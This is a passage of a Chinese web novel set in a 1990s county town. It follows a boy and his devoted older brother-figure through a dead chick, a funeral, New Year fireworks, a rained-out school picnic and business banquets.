鸡被周瞳一扔,叫外面的车碾死了。
应不尘呆愣在原地,明明他拿回来的时候,还跟汪奶奶说,“过年的时候,炖小鸡儿给哥吃。”
应不尘有点想哭了,他不怕鸡,他记事的最开始,就是在一个鸡棚里,里面经常都有鸡毛,孵小鸡的灯就在头上晃啊晃,实在是太亮了,太亮哥就给他弄了个罩子,纸糊的,但是灯太热了,那玩意儿不安全,所以只能任由它那么刺眼。
那会儿鸡饲料的袋子洗干净了铺在床板下面,那会儿一份鸡杂都真的很好吃,那会儿哥睡醒头上会有鸡毛,哥说,这鸡毛一飞,就上天了。
汪爷爷家的稻谷有残留的稻穗,汪奶奶带他去捡回来,都可以喂小鸡。
稻穗还在外面,应不尘要拿去晒的,拿棍子打一打,就可以余出来喂鸡。
小鸡死了。
之前应不尘知道小鸡要死了,捧着小鸡去找汪奶奶,汪奶奶戴着眼镜,领着应不尘去找兽医,兽医掂了掂,说太轻了,养不活,它的脑袋都歪了。
应不尘把他放在纸盒子里,底下又给垫了稻草,它就在里面瞎啄啄,有时候应不尘醒了,就看见那鸡站在窗户上,头还是歪的,但是爪子能到处褪稻谷了。
鸡活了。
应不尘用灯照着它,就像这灯当年照着自己一样。
照一照,它就活了。
照一照,他也活了。
鸡在外面成了一滩血,车上的人上来,说,“诶!周老板,呀,这鸡儿叫我碾死了,咋,小尘还要哭了呢?”
丁丁的爸刚下班回来,说,“这鸡昨天还拉屎在小尘的被子上了,丁丁他妈给洗的。”
司机说,“尘儿,别哭了,叔赔你一只大公鸡,叫你婶婶炖好了给你送过来。”
周瞳上去散烟,说,“害,多瞎那功夫干啥,这鸡太埋汰了。”
应不尘跑出去了。
每次,哥要走的时候,都会弓着腰点着脸颊,说,“亲哥一口。”
这次好像不是这样了。
周瞳追了出来,没两步,厂子里有人找他,又说话去了,应不尘回头看,哥已经跃上大车走了。
应不尘觉得哥变讨厌了,那死了的鸡在垃圾桶里,睁着眼睛,不会眨了。
***
16. 1994[3]
1994年的秋,那年的新衣服很多,没有一件是应不尘喜欢的。
沈姑娘提着一大袋衣服来看应不尘,在他身上比量,应不尘扭过头去。
沈姑娘说,“小尘,你的功课有什么不懂的,可以问我。”
应不尘垂着脑袋,说,“哥很忙吗?”
沈姑娘看见应不尘的房间地上的烟头都还没扫,就要拿起扫把。
应不尘张开手拦在前面,说,“你不能扫!”
沈姑娘有点尴尬,威哥过来打了一下应不尘的脑袋,说,“你这孩子!”
这一下让应不尘更难受了,这是自己的家,为什么要让别人说了算?
那年的秋天,应不尘的眼泪比任何时候都要多。
周瞳再也不会盘着腿坐在床上吃自己做的面疙瘩,然后在他身边讲很多听都听不懂的话。
周瞳床下的鞋子都落灰了,他当时宝贝的很。
你看,就算是当时宝贝的很,还不是有了新的就不宝贝了呢。
***
今天应不尘吃饭的这家孩子叫丁丁,丁丁比应不尘大两岁,装得像个小大人。
丁丁的爸妈都在厨房忙,俩孩子先吃。
丁丁往碗里扒饭的时候,对应不尘说,“我妈叫你多来我家吃饭。”
“为啥?”应不尘问。
丁丁的妈妈好像并不喜欢这帮咋咋呼呼的孩子。
“因为你哥呗。”丁丁不屑地说,“你哥哥要结婚了,跟沈老板的女儿。”
“我不知道。”应不尘低头扒拉米饭。
“他就不住这里了,”丁丁说,“他们去看新房子了,没带你去。”
“谁说的!”应不尘惊慌的问。
“这你都不知道,”丁丁说,“大家都知道!大房子!”
应不尘没吃完饭,跑回车棚的钢板房里,大声地哭了起来。
原来周瞳说的,不住这里了,是他自己不住这里了。
应不尘在家哭,好几个人都看见了,风子呆愣地站在边上,问,“弟,你想干啥?”
应不尘用手臂捂住眼睛,说,“我要我哥。”
风子有点不知道咋整,说,“你别哭了,我领你去找你哥。”
应不尘就拉着风子的手去了。
周瞳在歌舞厅睡觉,整个人酒气熏天。
见应不尘来了,勾勾手,应不尘就过去了。
“为啥哭?”周瞳的酒味太重了,好像叫酒给淹了。
“家里就我一个人,”应不尘扑在周瞳的身上,“我等不着你回家。”
“哥挣钱呢。”周瞳闭着眼睛,红着脸,拍拍他的呗。
“我不要你挣钱,”应不尘扑在身上哭,“我要你回家。”
周瞳迷迷糊糊地牵着应不尘往家走,谢绝了风子叔要送他们回家的好意。
冷风一吹,周瞳就在人家饭店的水槽里呕吐起来。
应不尘拧了拧水龙头,完蛋,这水管子都没水。
周瞳哼哧哼哧地坐在墙角,他还是那么瘦,手踝都鼓出来一大截。
他摘了手表,项链,脱了外套,应不尘跟在后面捡。
周瞳就穿着个白色的背心,一条松垮的牛仔裤摇摇晃晃地就往前走。
水槽里周瞳吐的污糟物还在,水槽的下水管堵住了。
应不尘看了看往前走的周瞳,就拿手指戳着脏东西往下捅,捅了一会儿终于顺下去了。
应不尘的手脏,周瞳也不管,拽着就往前走。
终于半扶半拉地来到面粉厂了,周瞳就看着那个破车棚笑,指着它,对应不尘说,“这烂地方...”
应不尘不知是要把周瞳往前扶还是怎么办,周瞳又要吐了。
应不尘连拽带抱地把周瞳弄回家。
周瞳又乐,“这烂地方…”他扭过去,说,“不住了,宝贝儿。”
应不尘的心都碎了,但是心碎归心碎,他还是拿着干净的毛巾蘸着水给周瞳擦脸擦胳膊。
擦着擦着,应不尘就跟最后一次见周瞳似的,流着眼泪擦,在脸上用眼泪写了一本书。
擦完了,盖上被子,应不尘就该滚蛋了。
应不尘正在收拾自己的小书包。
“你大半夜的,上学啊?”周瞳眯着眼睛问,酒意未消,疲态尽显,但是看着眼睛是清醒的。
“你要去大房子,我,我也不要在这里,我去,我去...”应不尘说着,便哽在了嗓子里。
“啥?”周瞳喝了酒,格外耳背,坐了起来,拍拍钢丝床,说,“过来,来。”
应不尘坐在床上,周瞳实在太高了,对他来说。
周瞳的酒气好重,他闭着眼睛,抱着应不尘晃,“你就去哪儿啊?”
“食堂,教室,锅炉房,反正不在这里。”应不尘哭唧唧地说。
“为啥呀?”周瞳晃着他问。
小小的人儿拥住了周瞳的脖子,在他的胡渣上擦眼泪。“你要结婚,你要去大房子。”
“哟,消息灵通的很啊。”周瞳笑着。
你看,他还高兴!
“我不结婚,我也没大房子。”周瞳闭着眼睛,轻轻的安抚着怀里的小人,说,“人家跟我不一样,有知识,有胆量,要出国读书的,她爸爸倒是想撮合,哥也不愿意呀,哥没文化,配不上好姑娘,你要好好读书,你能读到哪,哥供你到哪,以后你要是遇到了好姑娘,起码咱心里有底,起码咱有墨水。”周瞳耐心地跟应不尘解释,也不管应不尘听不得听得懂。
他抱着应不尘,继续说,“人家跟我说你掉河里了,那天哥正要去吃饭,人家给哥介绍老板呢,哥都撅了,今晚终于赔上罪了,喝了一斤白的,难受得很,本来想随便找快板睡了,想着你烧了热水,要回来洗脚。”
“哥,你为啥不要我的小鸡?”应不尘伏在周瞳的肩膀上,哭咧咧地说,“是我捡回来的小鸡,不大点儿,没有毛,在路边。”
“它身上有味道,像那个鸡棚,”应不尘噎着说话,“我拿灯照照他,你不在家,我自己拿灯照活了。”
应不尘听见周瞳粗粗地喘了一口气,把他抱得可紧可紧了,他说,“哥给你养小猫小狗,养一院子,别生哥气,行吗?”
***
那年的冬天格外冷,听说面粉厂在明年要换了个新厂长,装卸工跟运输队都在犯嘀咕,这儿要换皇帝了。
沈老板带走了一帮人,传的沸沸扬扬的,沈老板的准女婿,混得风生水起的穿着皮夹克的周瞳被留下了。
“孩子么,总是不习惯换地方的,我老师还在这呢。”周瞳轻轻说。
旁人都说,周瞳看不上人家沈老板的女儿,人家有志气呢,不做那入赘的儿郎。
离不开人的应不尘,老年丧偶的汪奶奶,就这俩人,拴住了周瞳。
汪爷爷去世了,在1994年的冬。
这也是秋天之后应不尘再次见到周瞳。
周瞳啥也没干,那三天都在汪家的院子里披麻戴孝,披麻戴孝也有说法,比如至亲跟近亲的挂在脖子上的麻绳都不一样,帽子也不一样。
周瞳给汪爷爷磕头,带着应不尘一起磕。
灵堂前面得坐人,进来吊唁得点香,蜡烛跟烟不能断。
汪奶奶无法主持这些事情,周瞳也没经验,东问西问,终于也是叫清楚了敲打班子跟送灵流程。
应不尘蹲在板子后面,听见了别人在说:
“自己都那么有钱了,还带着亲生子侄的孝麻,人家要孝顺你能顺着学生那样的,也能孝顺是吧。”
“他那些钱都是借的,你可不知道,就是太年轻,想一出是一出的,这儿弄地叫人家十几人筹出来的钱,搞什么运输公司,连着后面盖了俩平房,搞纺织勒,那机器哐当哐当的吵死了。”
“他那些钱都是女人身上骗来的,我可听过啊,他从前穷的,就是刚来的时候,就跟一个理发店的女老板搞上了,要晓得,那女老板都好做他妈了!”
“他哪有啥本事,不就是这么上来的妈?刚来汪家的时候,穷得就靠他老两口接济着,现在有钱了,可不见来翻新翻新这房子呢?”
“可不么,拨款子不就成了?难道用的上自己来垒砖啊?说一千道一万的,反正吃绝户倒是吃的板正,往那一站,养也没养,孝也没孝,当儿子了!”
穷山恶水出刁民,穷坳坳里出来的种就是这样,老两口一把年纪还给他养孩子,说是周瞳头一回来就眼珠子转着搞清楚了这汪家的情况,你就看他啥时候汪老太太也死了,这钱,全是姓了周了。
周瞳的眼因为熬了好几夜,红得跟兔子似的。
白房先生也自然把周
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瞳当做了这家的主事人,收周瞳的钱去买菜,发烟,记的吊唁的钱也来交给周瞳。
应不尘还小,他们说话的时候不避着人,听到了这些,急得眼睛都红了,冲出去喊,“我撒尿给你们当茶喝!”
那些人听见了,不屑地白了他一眼。
“乖乖,”周瞳捂着应不尘的耳朵,“不听这些。”
“他们乱说,”应不尘抱住了周瞳,“他们乱说。”
“汪爷爷跟你说啥来着?”周瞳蹲下来问。
“别管别人怎么说,”应不尘擦着眼睛,“每个人都有自己的活法。”
“你看看,”周瞳抹着他的脸,问,“给你买的香香咋没擦?”
应不尘眨眨眼,说,“总忘。”
“起鸡皮了,”周瞳说,“再哭,脸要沤烂了,沤烂了不好看,我就不乐意抱着你睡了。”
他叫应不尘别哭,应不尘却看见他哭了。
在所有人离开之后,热闹全部都散完了,汪奶奶还在楼上休息,灵堂前连蜡烛都烧尽了,周瞳就那么穿着军大衣,手指夹着烟,呆呆地看着汪爷爷的照片。
他看了一会儿,就佝偻着用胳膊捂住了脸,把脸埋进了自己的衣服里。
他每次难受的时候都是这样,现在,或者从前被人打了从派出所出来的时候一样。
周瞳招招手,应不尘过来了。
“怕吗?”周瞳抱着他问。军大衣真暖和,应不尘都不冷了,这件衣服,是周瞳才出小渔村的时候穿的,现在他漂亮的衣服可多,已经很久很久没穿这件了。
“不怕。”应不尘说。
“不怕你跟爷爷说句话。”周瞳鼻音好重,说,“这会儿还没散呢,他能听见。”
“爷爷,我已经是男子汉了,我跟我我哥,奶奶做儿子!”应不尘大声说。
“差辈了。”周瞳瓮声瓮气,说,“老爷们说话算话,知道不。”
“知道。”应不尘说。
灵堂的蜡烛已经灭了,一盆的香被风一吹,就好像有人捣乱似的。
那年的冬天灵堂,是94年的尾声。
距离他们从那个小渔村出来,已经过了三个整年。
吊唁的钱,周瞳的朋友或者巴结他的人占了大头,混上汪家亲眷送的,都一股脑地让白房留给汪奶奶了,白事的钱也都是周瞳一人出的,算是县城里谈的上的体面白事。
那结果就是,周瞳买房子这事儿得延迟了。
一晃就过年了,汪奶奶吃了饭就上楼了,晚上要他俩住在这里,要是敢走的话就再也不跟他们来往。
这次是应不尘头一回跟周瞳都住在奶奶家。
上回过年来的时候,两人在这里洗澡吃饭。
奶奶家里有电视,正在放春节联欢晚会。
远处有小孩儿,在放烟花。
周瞳叼着烟,说,“那玩意有啥好玩的吗?”
“可好玩了。”应不尘老盯着看。
“你也想玩啊?”周瞳手里转着打火机,翘着二郎腿歪在沙发上,当做漫不经心的问。
“嗯!”应不尘说,“但是我们可不能不懂事,大过年的晚上还要跑出去买,惹得奶奶担心。”
“哎哟,谁家的宝贝儿这么懂事,”周瞳说,“我看看来。”
沙发上,周瞳抱着横着抱着应不尘,说,“我咋能有这懂事的宝贝呢?”
他挠痒痒,应不尘咯咯乐,抱着周瞳说,“哥,你二十岁啦,我跟奶奶去买的,”应不尘挂了个平安坠子在周瞳的脖子上。
“奶奶说,心意到了就行。”应不尘有点不好意思的挠挠头,一笑,好家伙,一口烂牙。
“你给哥拿盒烟去。”周瞳摸摸鼻子。
应不尘去拿烟,发现原来下面早就压了一箱子的烟花,各式各样的,花里胡哨的,都能堆成一个小山了。
应不尘在院子里放烟花的时候,回头看见了正在看电视的周瞳,他穿着个红色毛衣,牛仔裤,梳着流光水滑的头发,一手夹着烟,插进了汪爷爷的香灰里。
他又赖在沙发上,消瘦的,漂亮的,厉害的哥哥。
应不尘看见二楼的奶奶探出头来,应不尘点了一个。
“嗙——”烟火炸开。
应不尘被人捂上了耳朵,耳边有人说,“新年好,我的宝贝儿。”
17. 1995[1]
1995春,汪爷爷的五七过了,相片就要从灵堂上挂去墙上。
周瞳没撤。
“就这么地吧。也能吃点香火。”周瞳每次都自己抽半根然后插着兜把香烟插进去香炉的灰里,说,“吃饭跟咱平着呢。”
也在那年春天,10岁的应不尘有了自己的自行车,汪奶奶给买的,但是不咋让他骑出去面粉厂,这里连着仓库跟粮食厂,大车太多了。
应不尘上四年级下册了,瘦得干巴巴的。
四年级清明节,又是到了一块儿去扫墓的时候,应不尘自己有个小汽车的存钱罐,周瞳总往里面塞钱。
让他缺啥吃的用的就跟威哥风子叔还有汪奶奶说。
学校又要组织春游了,这次是去一个水库边上,要野炊。
大家要回家自己准备吃的,七个小孩儿一个小组一起弄饭吃,这对小学的小孩儿实在是天大的事儿,从知道消息的时候就已经开始没心思读书了。
面粉厂的小孩子也有一些在这里上学,大家来接孩子的时候都是骑着行车的,但是应不尘偶尔也能看见他的哥开着小轿车在学校门口,与其他家长欠着身子握手。
他就倚在小轿车的车门上,带着墨镜,叼着烟,他的衣服越来越花哨了,皮靴紧紧地捆住了他的小腿,没有男人这样穿的。
所以应不尘是能受到优待的,班里的小朋友都要跟应不尘一组,因为他的哥哥经常站在门口就给大家发买也买不到的洋零食,惹得别的家长回来之后不舒服,应不尘回家之后跟周瞳说了,周瞳就不送了。
应不尘明天就要去野炊。
分配到的任务是带做饭的工具。
他看了看勺子,锅铲,他没有野炊的概念,不知道野炊到底是什么,别人说,就是去水库的边上做饭吃。
他连哥也不在身边,问不到。
应不尘想了想,拎起煤饼炉子。
煤饼炉子太重了,就光拎到学校去就费劲死了,还好路上遇到了风子叔。
“你拿这个去学校?”风子叔说。
“老师叫带。”应不尘说。
风子叔没读过书,在周瞳身边时常都能听他提起汪奶奶,那个年长的老教师,所以跟着周瞳特别尊敬老太太,在汪爷爷去世的时候,也是全程都在忙活,一听是老师叫带的,风子叔就从车上下来,拎起煤饼炉子就放在副驾上,又把应不尘夹着抱上去。
“哥忙?”应不尘问。
“嗯,忙,最近他又去倒腾花木生意去了,说是省城的路边要做绿化,他天天都在喝酒,想做这生意。”风子叔说。
风子叔是永远把应不尘当正常人的。
“哦。”应不尘问,“种花?”
“差不多吧。”风子叔说,“我也不知道,我听不懂。”
“哥可好好吃饭了?”应不尘问。
“前段没好好吃,你汪爷爷不是走了么。”风子叔说。
“现在可好好吃饭了?”应不尘又问。
“前几天说来接你去吃饭,结果路上就碰上人了,惦记着要带你吃饭,说是宜华有个老板开了个西餐厅,想领你去吃,一直没吃上。”风子叔说,“一吃饭就念叨。”
“那哥吃啥?”应不尘问。
“盒饭。”风子叔边开车边说,“你哥吃饭好像没舌头,吃不出来好赖,说叫你的饭给毒了。”
应不尘有点不高兴。
“你晓得西餐厅吗?”风子叔挠挠头,说,“姑娘是不是喜欢去西餐厅?”
这应不尘哪儿知道啊。
风子叔老脸有点僵,本来就是一脸横肉的,现在看着奇奇怪怪的。
风子叔说,“你哥之前跟人谈朋友,都去哪里吃饭?”
应不尘说,“哥说他谈朋友就带回汪奶奶家吃饭。他跟汪奶奶说,一吃她做的饭,小姑娘就想留在这里了,赶也赶不走了。”
风子叔挠挠头,说,“那我也不能带去汪奶奶家吃啊。”
应不尘说,“那你买菜不就行了?”
前面就是学校了,应不尘拎着个煤饼炉费劲死了。
风子叔下来,就帮着应不尘拎进去,拎到教室里,放在位置边上。
见一堆小朋友看他,风子叔有点不好意思,从前周瞳跟他说,不好意思就发烟,发了烟一点,就能换个话题了,屡试不爽。
但是风子也不能给小朋友发烟,就赶紧走了。
上课铃声响了,应不尘的同桌小朋友问,“这是你的保镖吗?”
“啥是保镖?”应不尘问。
“嗯...”小朋友想了一下,说,“就是保护宝贝的。”
“那就是。”应不尘说,“我哥说我是他的宝贝,经常这么叫我的。”
同桌小朋友转过去给其他同学说,“这是他哥给他雇的保镖!”
应不尘听着又美了。
每次只要人家说,“周老板眼里能有谁呀,就他那个宝贝弟弟呗。”应不尘就美得不得了,感觉要飘了。
要是别人招呼周瞳买东西,说,“周老板,这是宜华最时兴的,人家省城有钱人家的孩子都用。”周老板就会闭着眼睛买。
应不尘坐得特别端正,两只手叠在胸前,人家都在看他,因为他是哥的宝贝。
老师简单地说了几句,大家就要排队出去野炊了。
应不尘拎着个煤饼驴子往外走,老师说,“小尘,野炊是自己垒砖头,然后捡柴火做饭的,用不上这个。”
应不尘只得两手空空地就走了。
别的小朋友带了锅铲,铁勺,锅,应不尘啥也没带。
一组的小女孩儿不高兴了,说,“你这我们一个小组都要饿肚子!”
应不尘不知道,老师招呼着小朋友们往前走了。
小孩儿排队出来的时候,风子叔的车还在路边,他跑过来了,应不尘喊,“风子叔!”快哭了。
风子跑过来,蹲着问,“你咋?”
应不尘哭唧唧地说,“我们小组要饿肚子了,野炊被我弄砸了。”
学校的保安催着挪车子,小朋友要排队往前走,要在自己的班级上,这是老师的规定。
风子只能诶诶地应着保安,不能挡着孩子的路,把车开走了。
风子不知道野炊到底应不尘要什么,小孩儿带的东西千奇百怪,有的小孩儿拎着大包菜,有的拖着根猪尾巴,还有个抱着个十来斤的大鲤鱼。
应不尘走到前面,就开始排队坐车了,学校包的车,要去水库。
应不尘跟小朋友们一起坐在车上,老师带领大家开始唱歌。
唱着唱着,这帮昨晚兴奋到不行的小孩儿就开始犯困了。
车辆载着他们,往山里开,路边都是绿色的,车子摇摇晃晃的,大家都睡着了。
等再醒的时候,大家已经到了水库外头了,排队一块儿走进去,水库边上很大很大,一个年级的小孩儿都可以自己找地方野炊。里面就是个林子,水库边边上站着老师,浅滩的地方可以下去弄水玩玩。稍微深一点的地方就一根根地插着棍子。
应不尘一组的小朋友就往前走,在稍微里面的地方看见了大石头小石头,别的小组都有锅,应不尘没带,
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一个小组就大家站着看。
老师过来,说,“每个人找一个别的小组一起做,小尘也不是故意的。”
老师还要招呼其他人,别的小组也不是很乐意。
应不尘一个人站在那里,他啥也没有,没有小组要他。
小孩子开始捡石头,捡柴火,要点火的时候叫老师。
他们的在浅滩边洗菜,装水,调皮的孩子撒水,天还是有点冷。
应不尘坐在一块石头上,那会儿春游,周瞳会来给大家分零食,可是现在他太忙了,也太远了。应不尘拎着一根树杈子,打算在水里叉一条鱼,那就可以根别的小组一起了。
应不尘看见了一条小鱼!
他小心翼翼的上手去叉,但是被边上的人撞了一下,他赶紧去扑,鱼跑了,人也摔了,湿淋淋的趴在那。
老师赶紧跑过来,把人捞起来,说,“你跟老师一起吃。”
老师带的都是自己的铁饭盒,一半菜,一半饭。
应不尘用铁饭盒的盖子分了一点饭,一吃,眼泪就下来了。
他也想野炊,别人都在跑来跑去,他们烧起火来,站在边上哈哈乐。
老师摸着应不尘的脑袋说,“小尘,你为啥要哭?”
应不尘不说话,抠着手指。
老师去拉他的手,说,“你哥忙,你跟老师一起吧。”
边上有个老师,嘴唇很薄,看着刻薄,说,“他哥他哥,知道的你是老师,不知道以为你想当他嫂子呢!”
应不尘的老师脸刷地红了,周瞳当时来给学校的操场拉过沙子来,孩子正睡午觉呢,周瞳看了就进了老师的办公室,询问一下应不尘的近况。
这个老师也是当年汪奶奶还年轻的时候带进来的老师,周瞳给他照过相,收过她的信给汪奶奶。
周瞳熟络着,就坐在老师的椅子上,感觉着椅子吱呀吱呀的一直响,就从车上拿了东西给老师敲实了,老师进来看见,就说,“谢谢周哥。”
其实她的年纪还比周瞳大一岁呢,当年周瞳也才19岁。
周瞳说,“啥哥呀,你叫得我怪不好意思,叫小周就行啦。”
老师说,“喝茶吗?周哥。”
周瞳就没有矫正她了,说,“有功夫去看看汪奶奶呗,老太太一个人。”
老师说,“嗯,代我问好。”
周瞳说,“代不了,自己去呗。”
老师扶了扶眼镜,说,“我不会骑自行车。”
周瞳说,“那我接上你呗,放学就带上小尘一块儿去。吃口饭去。”
老师有那意思。
老师不说话了,站起来就去看其他的同学。
应不尘捧着饭盒子,没滋味。
周瞳太忙了,他已经是周老板了,他没有时间再像当年一样,像当年害怕他春游没有吃的,害怕他只带了一个萝卜。
暴雨忽至,小朋友们只得被迫熄火回家,他们叽叽喳喳不高兴。
小朋友们本来坐的车是下午来载他们,中午还出去跑客车了,所以小朋友们想上车避雨的时候才发现,这里根本没有车等他们。
樟树不大,遮不住这么多孩子,老师正在进行紧张的沟通,找人去打电话。
应不尘好冷,本来就摔水库里了,这会儿再淋雨,感觉鸡皮都起来了,他摸着自己的胳膊,看着雨只能茫然地与小朋友们站在一起。
今晚可能回不去家了,已经有小朋友在哭了,他们对时间没有观念,看见乌云密布的黑天就觉得是晚上。
此起彼伏的哭声,老师比他们更难受。
18. 1995[2]
突然,有喇叭声,应不尘在面粉厂的时候周瞳要是回来了,会在经过车棚的后墙的时候,按一声短的,一声短的,一声长的,听起来就是滴滴吧的声音。
应不尘抬起头,顿时脸上乌云消散,“我哥来了!”
他在说完这个话不久,就有一辆大巴车开了进来,缓缓在面前停下,来人摇下窗户,喊,“应不尘!哭个毛线啊!”
车门打开了,周瞳跟老师说,“快叫孩子们上车吧,你们喊的那个车碰着山里的石头了,一时半会儿上不来了!”
老师们让孩子排队上车,周瞳从驾驶室跳了下来,说,“过来!”
应不尘站在原地不动。
周瞳今天穿了件他又没见过的牛仔衫,挽着袖子,穿了条工装裤,耳朵后面别了一根烟,他还是那样漂亮的眼睛,今天的头发没打摩丝,看起来来的着急,头发松松软软地趴在头上。
周瞳笑着与老师们打招呼,揽着应不尘,蹲下来说,刮着他的鼻子,说,“耳朵聋啦?”
应不尘憋着嘴,靠在周瞳的衣服上,说,“没人跟我野炊,我没带东西。”
“没事儿,雨一会儿就停了,清明就这样,下午再炊呗,还能跑了咋的。”周瞳说,“一会儿哥给你炊,行吗?”
应不尘点点头,抓着周瞳的手,坐在驾驶室的边上,周瞳翻出来些衣服给他换了,小孩儿十岁了,这么多人面前还不好意思起来了。
周瞳打了把伞在后面,别人就看不见了。
应不尘磨磨唧唧的换衣服,看着这暴雨问,“哥,真的能炊吗?”
“真的。”周瞳说,“要是今天炊不上,哥找时间再带你来这里炊,行吗?”
“嗯。”
周瞳拉开了座椅,客车吹着一点点暖风,他把应不尘横抱在怀里,说,“小心肝儿又受委屈了?”
“打哥一下呗。”周瞳拉着他的手说。
“不打。”应不尘埋进周瞳的衣服里,任由他擦头发。
“哥,你忙,怎么来了?”应不尘仰着头问。
“你风子叔找我呢,说你来野炊,没东西,”周瞳给他擦头发,接着说,“我这太忙我说找你腔叔给你送点东西来,结果腔叔说有急事要回去老家了。”
“我就说找往这儿跑的车,给你送一趟,路上就撞上了,人家客车坏路上了,又下雨了,”周瞳说,“我就托朋友客运那头借了个车来接你呗,咋整?”
“嗯。”应不尘玩着手指,说,“哥,我看见你就不怕了。”
“那怕啥的,”周瞳说,“你要知道,哥是搞车的,搞路的,最不怕就是你在哪里回不来,哥点着星星也来接你呀。”
天气像小孩子的心情,刚刚阴云密布,现在就放出来个大太阳。
周瞳问老师,“来都来了,这才过十点,再让他们玩会儿呗?”
老师带着孩子们重新去炊,但是好可惜,他们带的东西都已经半生不熟的不像样了。
周瞳打开放行李的把手,喊,“小朋友们过来搭把手,我搞了半个羊,还有炉子。”
小孩儿有的拿碳,有的拿切开的羊肉,有的要拿架子,几个小孩儿拿不动,还要一起帮忙。
周瞳扯了条折叠的破烂躺椅子,带上墨镜往水库边上一躺,转过头来跟老师说,“几位美女老师,做饭这个事情我不太擅长,实在就不给你们添乱了,你们忙你们的。”
小孩儿穿肉串的穿肉串,自己带的东西支起锅来,周瞳带了挺多东西让他们造的,连米都有。
“哥,”应不尘坐在周瞳的腿上,问,“你去菜市场买的这么多吗?”
周瞳忽笑了,咧着一口大白牙,说,“我从旺旺那偷的,估计这会儿老板娘会发现了。正在骂我们呢,”说着挠得应不尘咯咯笑,“骂你,别骂我。”
这个饭店就是周瞳带着应不尘去答谢过的饭店。
此刻准备收拾食材的老板娘大喊,“汉子汉子!我们厨房遭贼了!”
老板昨晚夜宵熬夜了,看见桌子上的钱跟一条烟,说,“你说那贼,我瞧着,姓周。”
应不尘窝在周瞳身上,周瞳把墨镜给他带上,问,“像咱家那片海不?”
应不尘说,“不像,那更臭一点。”
周瞳说,“还想回去吗?”
应不尘说,“不知道,我就想跟着哥。”
周瞳说,“真的?”
应不尘说,“那当然。别人都说我命好,有你这样的哥。”
“好啥呀,”周瞳说,“从前跟哥多苦,都忘啦?”
“不忘,”应不尘说,“就是我经常想不起来以前的事情,要闻到什么味道才能想起来,像养小鸡,我就想起来,像洗发露的,我也能想起来,没有味道,我就想不起来了。”
“那就忘了。”周瞳说,“哥没把你带在身边,你怨哥吗?”
“不怨。”应不尘说。
“环境不好,都是车,都是沙子,喝酒,烟味儿,脏话,一些混子,不会读书,”周瞳说,“哥不是不想,是不能。你长得这么好,上我哪儿去两年就长歪了,哥的心在你这里,”周瞳点着他,问,“知道了不?”
应不尘高兴了。
有香味飘来。
小孩儿都高兴了,玩到下午都舍不得走,老师数完了人头,上了车,应不尘被安置在周瞳的边上,说,“你帮哥看路,行不?”
应不尘就真的认认真真的看路,一路上转头不知道看了周瞳多少次,每次一对上目光,周瞳就会跟他眨眼睛,像抛媚眼。
再后来,应不尘就挨着他睡着了,怎么到家的都忘了。
那晚几个老师分了些学生挨个送,周瞳紧赶慢赶去还车,还被人骂了,“你这小子!偷车呀你!”
周瞳背着孩子,说,“这不是我家小尘哭呢么,赔罪赔罪,改天改天,我做东,给您赔不是。”
“你这小子!”
周瞳背着他回家。
应不尘在他背上睡得踏实,他的梦里,周瞳是术法百变的,无所不能的,风雨无畏的,世界上最好最好的哥,他开着大货车,载着他去世界上任何的地方。
***
清明一过完,1995年的夏就来了。
那年电视机开始走进千家万户,从黑白的变成彩色的。
应不尘永远是这个厂子里最靠谱的孩子,洗衣服,洗碗筷,干啥都有模样,这俩兄弟一点儿也不一样。
周瞳就是懒散惯了,除了自己的衣服之外,其他的基本什么都不管。
周瞳的品味就是被那个沙龙店带坏了,天天把自己弄得香喷喷亮晶晶的。
面粉厂自从新换了厂长之后效益就有点走低。
面粉厂的员工对此怨声载道,他们好多要出去自谋出路了。
周瞳的运输公司也是在这时候筹备开业了。
他从最开始的报废车开始跑,然后到二手车,那会儿都是运输队,离公司还十万八千里呢,现在楼下停了好几辆大车,前面都挂着大红花,楼上就是人们歇脚的地方,周瞳也有了自己的办公室。
他在这一年跑各种生意。
“周老板年轻有为,哎呀,这么小小年纪就能操持起来一个公司,真是了不得!”前辈举着酒杯,“以后啊,还得要小周赏饭吃啦!”
“哪里哪里,”周瞳弓着身子,将自己的酒杯矮至人家的杯脚,说,“前辈,真是感谢您的提携,当年我记得,纺织大会的时候您代表运输公司在台上讲话,我就在下面给人倒酒,听您说话就入了迷了,酒都给人倒撒了,我那会儿都不敢想,我能敬您一杯酒,大哥,那火车跑得快,不全靠头来带么,来,给我换个大的,诚意让我大哥看看。”
“小周真是,没爹没妈的能混到现在,那些女老板可
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帮得出了力了。”阴阳怪气的男人也会来敬酒,里面装着橙汁,“小周可得好好伺候伺候。”
周瞳给自己倒上酒,说,“是,我确实运气好得姐姐们赏识,定是要好好回报姐姐们的。没爹没妈的总是不懂事,现在才来敬您的酒,下回怎么也不能让您来敬。”
男人摇着手上的见底橙汁,说,“喝不了酒,周老板不好意思了。”
周瞳接过橙汁,给倒满了再转身递回去。
“只要感情有,喝啥都是酒,”周瞳闷了一口,“干了。”
这些酒桌上,周瞳笑得脸都僵了。
风子坐在最后面吃饭,等着周瞳完事回去。
周瞳一圈下来,累的半死,闷头吃饭。
风子闷了一肚子的不痛快,说,“人家骂你呢。”
周瞳说,“我口水吐他橙汁里了。”
风子又笑了,说,“你可真损。”
周瞳喝了杯热茶,说,“他不损呗,我特么可不是野种,我有弟。”
风子说,“这一顿饭我看你比开大车还累。”
周瞳簌簌口,吐了,说,“每回就是这句话。”
风子说,“没人来,一说叫出来跟你搞这个,都跑了,抓都抓不着。”
周瞳说,“我乐意来哦?那能咋整呢?要养弟啊。”
风子说,“你弟弟那个小东西能吃几个馒头。”
周瞳要去厕所,说,“他现在是小,那要是他将来能有出息,要家里托一把,我总不能手一摊说没钱吧。”
风子说,“你就是想的太多。”
周瞳说,“你没孩子,有孩子你就明白了。”
风子脸一红,推了一把周瞳,“你咋瞎说瞎说的呢。”
周瞳本来就喝了酒,被他一推,差点摔了,说,“你啥意思啊,你以后没孩子啊,你要是养不明白,你拿来我养。”
俩人站一起尿尿。
风子赖赖唧唧地说,“没到那儿呢。”
周瞳瞧了他一眼,说,“抓紧,抓紧到那,娃娃可好玩了。”
风子说,“你这跟当爹似的,你咋不让他叫你爹。”
周瞳说,“说着差了十岁,我两合计就差八岁,我当他爹啊?”
风子说,“看着也差不多了。”
周瞳尿尿,说,“不知道,那会儿被我卖了我来求你那会儿,我就想了,只要那晚上他活下来,我就养他,啥也别说了。”
风子说,“那你以后不也得结婚,那个纺织厂老板那个女儿,叫燕燕的,老过来,我都瞧出意思了。”
